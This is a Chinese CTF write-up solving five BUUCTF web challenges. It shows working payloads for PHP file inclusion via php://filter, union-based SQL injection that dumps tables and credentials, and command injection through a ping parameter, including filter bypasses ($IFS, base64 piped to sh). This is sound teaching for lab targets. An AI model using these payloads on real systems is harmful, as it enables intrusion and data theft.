【buuctf】Web攻防(二)

admin 2025年4月10日21:05:59评论6 views字数 7026阅读23分25秒阅读模式

众生度尽,方证菩提

[ACTF2020 新生赛]Include

访问url

http://42675000-beb8-4770-9107-0954c486629c.node3.buuoj.cn/

首页如下:

【buuctf】Web攻防(二)

点击tips,跳转到url:

http://42675000-beb8-4770-9107-0954c486629c.node3.buuoj.cn/?file=flag.php

页面如下:

【buuctf】Web攻防(二)

根据?file=flag.php 猜测是文件包含漏洞

php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

php://input 伪协议 + POST发送PHP代码 (不行)

构造payload进行访问:

?file=php://filter/read=convert.base64-encode/resource=flag.php

页面回显如下:

【buuctf】Web攻防(二)

对回显的数据进行base64解码:

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YmRkZmZlYTMtNTVlYS00OTJjLTg4NWYtMWZlY2Y2ODRkZTIyfQo=

结果如下:

<?php
echo "Can you find out the flag?";
//flag{bddffea3-55ea-492c-885f-1fecf684de22}

[极客大挑战 2019]Secret File

访问url:

http://008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn/

首页如下:

【buuctf】Web攻防(二)

前端中背景可以覆盖内容,页面源代码可以查看完整的html

在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示。

文件包含漏洞,PHP伪协议获取文件

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

环境概要:

PHP.ini:

allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。

我们可以看到一页背景为黑色,字体为红色的页面,这里已经给出了一个提示:想要的话可以给你,去找吧!把一切都放在那里了!我们可以猜测这个页面是隐藏了一些信息的。

通过查看页面源代码,我们可以发现隐藏的./Archive_room.php

【buuctf】Web攻防(二)

访问Archive_room.php,发现又给出了提示:我把他们都放在这里了,去看看吧。还有一个类似button一样的东西,查看审查元素可知是action.php

【buuctf】Web攻防(二)

我们点进去,访问action.php立即跳转到了end.php,并且页面显示的是:查阅结束 没看清么?回去再仔细看看吧。

【buuctf】Web攻防(二)

可以猜测action.php访问时间很短,时间一到立即跳转到end.php。为了拦截action.php,我们可以使用BrupSuite来抓包。

请求包如下:

GET /action.php HTTP/1.1
Host: 008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn/Archive_room.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=37b794a6-22e3-4bc9-882a-7c4e8fce86a2.ZP-4gQWh8p_KrNccRxl0BEY0YgY
Connection: close

响应包如下:

【buuctf】Web攻防(二)

访问secr3t.php,页面显示了php代码:

<html>
<title>secret</title>
<metacharset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file"tp")||stristr($file,"input")||stristr($file,"data")){
echo"Oh no!";
exit();
    }
include($file); 
//flag放在了flag.php里
?>
</html>

发现这里有一个文件包含漏洞,但是在这里好像没什么用,因为我们还不确定存在flag的文件。根据代码的注释内容,访问flag.php。又出现提示:啊哈!你找到我了!可是你看不到我QAQ~~~ 我就在这里。

【buuctf】Web攻防(二)

刚开始我们以为还是像之前一样用背景把flag给覆盖掉了,但是通过查看页面源代码发现并没有将flag写出来。根据提示我们可以肯定flag确实是在这里,但是前端却看不到,我们猜测flag是写在了php代码里面。那么怎样来获取完整的flag.php文件呢?我们立马想到了secr3t.php的文件包含漏洞

传入的file经过了一些过滤,但是没有过滤filter,我们可以用php://fileter来获取文件。构造url:

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

获取到了flag.php的base64加密,复制加密内容到解密网站去即可得到flag

【buuctf】Web攻防(二)

对回显的数据进行base64解码:

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZTc4MjM3YWUtMGNiYS00NTlkLTg3N2QtNjBmYmQ4NzNkNWEwfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

结果如下:

<!DOCTYPE html>

<html>

<head>
<metacharset="utf-8">
<title>FLAG</title>
</head>

<bodystyle="background-color:black;"><br><br><br><br><br><br>

<h1style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<pstyle="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{e78237ae-0cba-459d-877d-60fbd873d5a0}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>

[极客大挑战 2019]LoveSQL

访问url:

http://e46c62ea-857f-4497-8656-5dd8bc8fa62a.node3.buuoj.cn/

首页如下:

【buuctf】Web攻防(二)

发现登录框,可能是万能密码登录,我们试一下:

在登录框中输入:

用户名:1' or 1=1# 

密码:123(随便输)

点击登录:

【buuctf】Web攻防(二)

跳转到了check.php页面。并得到了用户名和密码:

尝试密码md5解密失败,还是回到注入的思路上,查询字段数:

在url中输入:

/check.php?username=admin' order by 3%23&password=1     存在 

/check.php?username=admin' order by 4%23&password=1     报错

注意:此时是在url中输入的,所以不能用#,而用其url编码%23。

【buuctf】Web攻防(二)

可知共3个字段。用union查询测试注入点(回显点位):

/check.php?username=1' union select 1,2,3%23&password=1

得到回显点位为2和3

【buuctf】Web攻防(二)

查询当前数据库名及版本:

/check.php?username=1' union select 1,database(),version()%23&password=1

可知当前数据库为geek

【buuctf】Web攻防(二)

接下来爆表:

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到表名为geekuser,l0ve1ysq1

【buuctf】Web攻防(二)

试一下l0ve1ysq1这个表,爆字段:

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

得到字段名为id,username,password

【buuctf】Web攻防(二)

爆数据:

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag{0496f85f-c789-491f-93b8-7c76bdbe8a4a}

【buuctf】Web攻防(二)

[ACTF2020 新生赛]Exec

访问url:

http://cc3c6c27-e2df-4665-baba-1d9a32dc963e.node3.buuoj.cn/

首页如下:

【buuctf】Web攻防(二)

直接ping ip可以得到结果

【buuctf】Web攻防(二)

常见管道符

1、|(就是按位或),直接执行|后面的语句

127.0.0.1 | cat /flag

得到flag{546c33d7-aa0d-4a05-90b6-33adbd281b2b}

【buuctf】Web攻防(二)

2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

abc || cat /flag

结果如下:

【buuctf】Web攻防(二)

3、&(就是按位与),&前面和后面命令都要执行,无论前面真假

127.0.0.1 & cat /flag

结果如下:

【buuctf】Web攻防(二)

4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

ping 127.0.0.1 && whoami

这里没试出来flag,用cmd试一下:

【buuctf】Web攻防(二)

5、;(linux下有的,和&一样的作用)

127.0.0.1 ; cat /flag

结果如下:

【buuctf】Web攻防(二)

[GXYCTF2019]Ping Ping Ping

访问url:

http://a98acfbb-1ead-49d9-92cf-1ee91c136948.node3.buuoj.cn/

首页如下:

【buuctf】Web攻防(二)

打开链接,页面提示/?ip=

猜测本题的意思是让我们把这个当做变量上传参数。

先输入127.0.0.1

看来把我们上传的东西当做ip来执行ping操作。

【buuctf】Web攻防(二)

构造payload:?ip=127.0.0.1;ls

【buuctf】Web攻防(二)

出现了flag.php,那么简单的?

cat flag.php走起

?ip=127.0.0.1;cat flag.php

【buuctf】Web攻防(二)

可以看到有过滤空格

过滤空格的解决办法如下

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行

<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

试试:?ip=127.0.0.1|cat$IFS$1flag.php

【buuctf】Web攻防(二)

有过滤flag字样的,那先看看index.php,看看过滤规则。

?ip=127.0.0.1;cat$IFS$1index.php

/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|'|"|\|(|)|[|]|{|}/", $ip, $match)){
    echo preg_match("/&|/|?|*|<|[x{00}-x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

解决办法

1)$a变量可以覆盖

构造?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看一下源码,看到flag{9c0ba8cc-cc60-43d2-8b87-e964e62fb538}

【buuctf】Web攻防(二)

2)利用

?ip=127.0.0.1;cat$IFS$9`ls` 

将ls的结果当成cat的参数,那样就不用出现flag这个参数了。

结果也是在源码中。

【buuctf】Web攻防(二)

3)利用sh,bash下编码

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

【buuctf】Web攻防(二)

4)利用内联执行:

?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

【buuctf】Web攻防(二)

攻防交流群

【buuctf】Web攻防(二)

声明

免责声明:该文章内容仅用于学习交流自查使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息、技术或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,公众号儒道易行及作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

原文始发于微信公众号(儒道易行):【buuctf】Web攻防(二)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日21:05:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【buuctf】Web攻防(二)https://cn-sec.com/archives/3941690.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息